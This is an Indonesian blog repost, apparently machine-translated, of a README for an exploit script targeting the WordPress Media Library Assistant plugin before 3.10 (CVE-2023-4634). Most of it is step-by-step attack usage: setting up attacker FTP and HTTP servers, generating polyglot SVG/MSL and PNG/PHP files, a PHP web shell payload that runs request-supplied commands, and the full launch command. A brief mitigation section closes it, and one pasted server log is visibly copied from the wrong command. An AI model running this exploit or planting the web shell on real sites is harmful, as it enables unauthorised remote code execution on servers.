INFORMEN CVE TERBARU / METHOD TERBARU

CVE-2023-4634 | XPLOIT 2023

Eksploitasi RCE untuk Plugin Media-Library Plugin WordPress <3.10 (CVE-2023-4634)

#Informasi

Patrowl menemukan Kerentanan RCE yang tidak diautentikasi pada Plugin WordPress Asisten Perpustakaan-Media dalam versi <3.10. Eksploitasi ini tidak sepele dan hanya memerlukan sedikit pengaturan yang dijelaskan di bawah.

Penemuan global dan eksploitasi eksploitasi dapat ditemukan di blog kami: https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/

#Prasyarat eksploitasi

#Deteksi

Deteksi kerentanan dapat dilakukan dengan menggunakan pemeriksaan DNS dasar pada server FTP jarak jauh. Templat inti dapat ditemukan di : CVE-2023-4634.yaml.

nuclei -u http://x.x.x.x -t ./CVE-2023-4634.yaml

Eksploitasi lengkap dan RCE kemudian dapat dilakukan menggunakan skrip CVE-2023-4634.py.

Catatan: Anda juga dapat menggunakan skrip untuk memicu eksploitasi yang lebih sederhana seperti LFI, hanya perlu memalsukan SVG tertentu dan menyimpannya di FTP Anda, ikuti rekomendasi di blog kami.

#Penggunaan

Persyaratan pemasangan:

root@you~# git clone https://github.com/Patrowl/CVE-2023-4634.git


root@you~# cd CVE-2023-4634

root@you~# python3 -m pip install -r requirements.txt


root@you~# python3 CVE-CVE-2023-4634.py -h


usage: CVE-2023-4634 Exploit [-h] [--target [TARGET]] [--remoteftp [REMOTEFTP]] [--remotehttp [REMOTEHTTP]] [--svg_polyglot_name [SVG_POLYGLOT_NAME]] [--svg_exploiter_names [SVG_EXPLOITER_NAMES]] [--png_polyglot_name [PNG_POLYGLOT_NAME]] [--concurrency [CONCURRENCY]] [--generatesvg | --no-generatesvg] [--webserverpath WEBSERVERPATH]
                             [--exploitname EXPLOITNAME] [--generatepng | --no-generatepng] [--payload PAYLOAD]

Exploit CVE-2023-4634 on Media-Library-Assistant version < 3.10

options:
  -h, --help            show this help message and exit
  --target [TARGET]     URL of the Target, ex http://victimwordpress.org
  --remoteftp [REMOTEFTP]
                        URL of the remote FTP use to store SVGs files, ex ftp://X.X.X.X:PORT
  --remotehttp [REMOTEHTTP]
                        URL of the remote HTTP use to store the final Polyglot PNG/PHP file, ex http://X.X.X.X:PORT
  --svg_polyglot_name [SVG_POLYGLOT_NAME]
                        Name of the external polyglot SVG/MSL file used (for generation or final usage), example : poly.svg
  --svg_exploiter_names [SVG_EXPLOITER_NAMES]
                        Name of the external VID bruteforcers file use, the FUZZ part will be replaced by the first letter bruteforced (for generation or final usage), ex: exploiter_FUZZ.svg
  --png_polyglot_name [PNG_POLYGLOT_NAME]
                        Name of the external PNG/PHP to use (for generation or final usage), ex: exploiter_FUZZ.svg
  --concurrency [CONCURRENCY]
                        Number of concurrent long SVG conversion requests to make ( default 100 )
  --generatesvg, --no-generatesvg
                        Generate both polyglot SVG/MSL file and VID bruteforcer within the remote_ftp directory
  --webserverpath WEBSERVERPATH
                        Path of the webserver on the victim server (could be found with the LFI and wp-config file) example: /var/www/html
  --exploitname EXPLOITNAME
                        Dropped exploit name example: pwned.php
  --generatepng, --no-generatepng
                        Generate polyglot PNG/PHP file, integrate php file with -payload option in exploit-png folder
  --payload PAYLOAD     PHP Payload to integrate in the PNG file ex: <?php phpinfo(); ?>

Sekarang agar dapat berfungsi, Anda perlu melakukan pengaturan pada host jarak jauh:

  • 1 server FTP yang menghosting pengeksploitasi polyglot SVG/MSL dan SVG/VID
  • 1 server HTTP yang menghosting poliglot PNG/MSL

#Sebelum eksploitasi

Siapkan Server FTP Anda

Anda dapat menjalankan server FTP sederhana menggunakan Python :

python3 -m pyftpdlib -p 2122

[I 2023-08-31 12:24:17] concurrency model: async

[I 2023-08-31 12:24:17] masquerade (NAT) address: None

[I 2023-08-31 12:24:17] passive ports: None

[I 2023-08-31 12:24:17] >>> starting FTP server on 0.0.0.0:2122, pid=482661 <<<

Setelah pengaturan, Anda perlu menambahkan file poliglot SVG/MSL ke server FTP Anda, dan semua pengeksploitasi SVG, Anda dapat dengan mudah membuatnya menggunakan skrip:

python3 CVE-2023-4634.py –generatesvg –svg_polyglot_name poly.svg –svg_exploiter_names exploiter_FUZZ.svg –remotehttp http://192.168.1.164:8081 –png_polyglot_name virus.png –webserverpath /var/www/html –exploitname pwned.php

#Ini akan dihasilkan di remote_ftpfolder:

  • poly.svg, polyglot SVG/MSL dengan alamat non-rute yang membutuhkan waktu lama untuk dihasilkan oleh target, dengan MSL yang akan menyimpan jalur png_polyglot_namedari remotettpke jalur tujuan ( webserverpathexploitname)
  • semua 64 pengeksploitasi SVG/VID menggunakan nomenklatur eksploitasi_FUZZ di mana FUZZ akan digantikan oleh karakter bruteforced

Perhatikan bahwa skrip juga akan menyalin file svg dengan [0] di akhir (poly.svg dan poly.svg[0]). Kedua file diperlukan agar eksploitasi dapat berfungsi.

Letakkan semua file yang dihasilkan (normal dan [0]) di direktori root FTP server FTP Anda. Seharusnya terlihat seperti ini:

ls remote_ftp/ exploiter_-.svg exploiter_3.svg exploiter_7.svg exploiter_B.svg exploiter_F.svg exploiter_J.svg exploiter_N.svg exploiter_R.svg exploiter_V.svg exploiter_Z.svg exploiter_-.svg[0] exploiter_3.svg[0] exploiter_7.svg[0] exploiter_B.svg[0] exploiter_F.svg[0] exploiter_J.svg[0] exploiter_N.svg[0] exploiter_R.svg[0] exploiter_V.svg[0] exploiter_Z.svg[0] exploiter_0.svg exploiter_4.svg exploiter_8.svg exploiter_C.svg exploiter_G.svg exploiter_K.svg exploiter_O.svg exploiter_S.svg exploiter_W.svg exploiter__.svg exploiter_0.svg[0] exploiter_4.svg[0] exploiter_8.svg[0] exploiter_C.svg[0] exploiter_G.svg[0] exploiter_K.svg[0] exploiter_O.svg[0] exploiter_S.svg[0] exploiter_W.svg[0] exploiter__.svg[0] exploiter_1.svg exploiter_5.svg exploiter_9.svg exploiter_D.svg exploiter_H.svg exploiter_L.svg exploiter_P.svg exploiter_T.svg exploiter_X.svg poly.svg exploiter_1.svg[0] exploiter_5.svg[0] exploiter_9.svg[0] exploiter_D.svg[0] exploiter_H.svg[0] exploiter_L.svg[0] exploiter_P.svg[0] exploiter_T.svg[0] exploiter_X.svg[0] poly.svg[0] exploiter_2.svg exploiter_6.svg exploiter_A.svg exploiter_E.svg exploiter_I.svg exploiter_M.svg exploiter_Q.svg exploiter_U.svg exploiter_Y.svg exploiter_2.svg[0] exploiter_6.svg[0] exploiter_A.svg[0] exploiter_E.svg[0] exploiter_I.svg[0] exploiter_M.svg[0] exploiter_Q.svg[0] exploiter_U.svg[0] exploiter_Y.svg[0]

#Siapkan Server HTTP Anda

Anda dapat menjalankan server HTTP sederhana menggunakan Python:

python3 -m http.server -p 8081

[I 2023-08-31 12:24:17] concurrency model: async

[I 2023-08-31 12:24:17] masquerade (NAT) address: None

[I 2023-08-31 12:24:17] passive ports: None

[I 2023-08-31 12:24:17] >>> starting FTP server on 0.0.0.0:2122, pid=482661 <<<

Anda hanya perlu menambahkan file poliglot PNG/PHP Anda. Anda juga dapat menggunakan skrip untuk menghasilkan file dan memasukkan payload yang diinginkan:

python3 CVE-2023-4634.py –generatepng –payload “<?php if(isset(\$_REQUEST[‘cmd’])){ echo \”<pre>\”; \$cmd = (\$_REQUEST[‘cmd’]); system(\$cmd); echo \”</pre>\”; die; }?>” –png_polyglot_name virus.png

#Mengeksploitasi

Sekarang server FTP jarak jauh dan server HTTP sudah siap, Anda dapat meluncurkan eksploitasi pada target yang rentan (skrip akan memeriksa apakah target menggunakan versi plugin yang rentan). Contoh:

python3 CVE-2023-4634.py –target http://127.0.0.1 –remoteftp ftp://192.168.1.164:2122 –remotehttp http://192.168.1.164:8081 –svg_polyglot_name poly.svg –svg_exploiter_names exploiter_FUZZ.svg –png_polyglot_name virus.png –exploitname pwned.php

Dan jika semuanya baik-baik saja, Anda harus memasukkannya exploitnameke dalam webserverpath(tergantung pada bagaimana Anda mengkonfigurasi eksploitasi Anda) Selamat menikmati!

#Klip video

#Mitigasi

  • Tingkatkan ke versi plugin terbaru ( https://fr.wordpress.org/plugins/media-library-assistant/ )
  • Perkuat kebijakan keamanan Imagick dengan menonaktifkan file berbahaya yang akan dikonversi seperti: “MSL, MSVG, MVG, PS, PDF, RSVG, SVG, XPS, VID” Dapat dilakukan dengan menambahkan

<policy domain=”coder” rights=”none” pattern=”SVG” />

<policy domain=”coder” rights=”none” pattern=”MSL” />

<policy domain=”coder” rights=”none” pattern=”MSVG” />

<policy domain=”coder” rights=”none” pattern=”MVG” />

<policy domain=”coder” rights=”none” pattern=”VID” />

#Ke


/etc/ImageMagick-X/policy.xml

Source : https://github.com/Patrowl/CVE-2023-4634

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *